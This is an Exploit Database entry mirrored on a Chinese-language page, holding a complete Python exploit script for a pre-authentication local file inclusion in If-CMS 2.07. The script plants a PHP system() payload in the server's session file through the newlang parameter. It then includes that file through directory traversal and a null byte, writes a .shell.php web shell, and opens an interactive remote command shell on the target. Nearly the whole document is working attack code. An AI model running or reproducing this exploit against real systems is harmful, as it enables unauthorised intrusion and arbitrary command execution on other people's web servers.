IF-CMS 2.07 – Local File Inclusion (1)

Exploit Database
101 阅读

作者： TecR0c

日期： 2011-03-15
类别：
- webapps
平台：
- php
来源：https://www.exploit-db.com/exploits/16980/

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#!/usr/bin/python

# ~INFORMATION

# Exploit Title: If-CMS 2.07 Pre-Auth Local File Inclusion 0day Exploit

# Author: TecR0c

# Date: 13/3/2011

# Software link: http://bit.ly/hh9ZB4

# Tested on: Linux bt

# Version: 2.07

# PHP.ini Settings: gpc_magic_quotes = Off

import random,time,sys,urllib,urllib2,re,httplib,socket,base64,os,getpass

from optparse import OptionParser

from urlparse import urlparse,urljoin

from urllib import urlopen

from cookielib import CookieJar

__CONTACT__ ="TecR0c(tecr0c@tecninja.net)"

__DATE__ ="13.3.2011"

usage = 'Example : %s http://localhost/ncms/ -p 127.0.0.1:8080' % __file__

parser = OptionParser(usage=usage)

parser.add_option("-p","--proxy", type="string",action="store", dest="proxy",

help="HTTP Proxy <server>:<port>")

(options, args) = parser.parse_args()

if options.proxy:

print '[+] Using Proxy'+options.proxy

# User Agents

agents = ["Mozilla/4.0 (compatible; MSIE 5.5; Windows NT 5.0)",

"Internet Explorer 7 (Windows Vista); Mozilla/4.0 ",

"Google Chrome 0.2.149.29 (Windows XP)",

"Opera 9.25 (Windows Vista)",

"Mozilla/4.0 (compatible; MSIE 7.0b; Windows NT 5.1)",

"Opera/8.00 (Windows NT 5.1; U; en)"]

agent = random.choice(agents)

traversal = '../../../../../../../../../../../..'

sessionLocation = '/var/lib/php5/'

def banner():

if os.name == "posix":

os.system("clear")

else:

os.system("cls")

header = '''

|----------------------------------------|

|Exploit: If-CMS 2.07 LFI RCE

|Author: %s

|Date: %s

|----------------------------------------|\n

'''%(__CONTACT__,__DATE__)

for i in header:

print "\b%s"%i,

sys.stdout.flush()

time.sleep(0.005)

def injectPayload():

webSiteUrl = url.geturl()+'index.php?newlang=<?php;system(base64_decode($_REQUEST[cmd]));?>'

try:

opener.open(webSiteUrl)

except:

print '[-] Failed'

def proxyCheck():

if options.proxy:

try:

h2 = httplib.HTTPConnection(options.proxy)

h2.connect()

print "[+] Using Proxy Server:",options.proxy

except(socket.timeout):

print "[-] Proxy Timed Out\n"

pass

sys.exit(1)

except(NameError):

print "[-] Proxy Not Given\n"

pass

sys.exit(1)

except:

print "[-] Proxy Failed\n"

pass

sys.exit(1)

def getProxy():

try:

proxy_handler = urllib2.ProxyHandler({'http': options.proxy})

except(socket.timeout):

print "\n[-] Proxy Timed Out"

sys.exit(1)

return proxy_handler

cj = CookieJar()

if options.proxy:

opener = urllib2.build_opener(getProxy(), urllib2.HTTPCookieProcessor(cj))

else:

opener = urllib2.build_opener(urllib2.HTTPCookieProcessor(cj))

opener.addheaders = [('User-agent', agent)]

def postRequestWebShell(encodedCommand):

webSiteUrl = url.geturl()+'.shell.php'

commandToExecute = [

('cmd',encodedCommand)]

cmdData = urllib.urlencode(commandToExecute)

try:

response = opener.open(webSiteUrl, cmdData).read()

except:

print '[-] Failed'

sys.exit()

return response

def writeOutShell(encodedCommand):

cookieString = str(cj)

cookieSearch = re.compile(r"PHPSESSID=(.*) f")

session_value = cookieSearch.search(cookieString)

if session_value:

session_value = session_value.group(1)

cj.clear()

webSiteUrl = url.geturl()+'index.php?cmd='+encodedCommand+'&newlang='+traversal+sessionLocation+'sess_'+session_value+'%00'

try:

opener.open(webSiteUrl)

except:

print '[-] Failed'

sys.exit()

def commandLine():

encodedCommand = "echo '<?php system(base64_decode($_REQUEST[cmd]));?>' > .shell.php"

encodedCommand = base64.b64encode(encodedCommand)

writeOutShell(encodedCommand)

commandLine = ('[RSHELL] %s@%s# ') % (getpass.getuser(),url.netloc)

while True:

try:

command = raw_input(commandLine)

encodedCommand = base64.b64encode(command)

response = postRequestWebShell(encodedCommand)

print response

except KeyboardInterrupt:

encodedCommand = base64.b64encode('rm .shell.php')

postRequestWebShell(encodedCommand)

print "\n[!] Removed .shell.php\n"

sys.exit()

if "__main__" == __name__:

banner()

try:

url=urlparse(args[0])

except:

parser.print_help()

sys.exit()

getProxy()

proxyCheck()

injectPayload()

commandLine()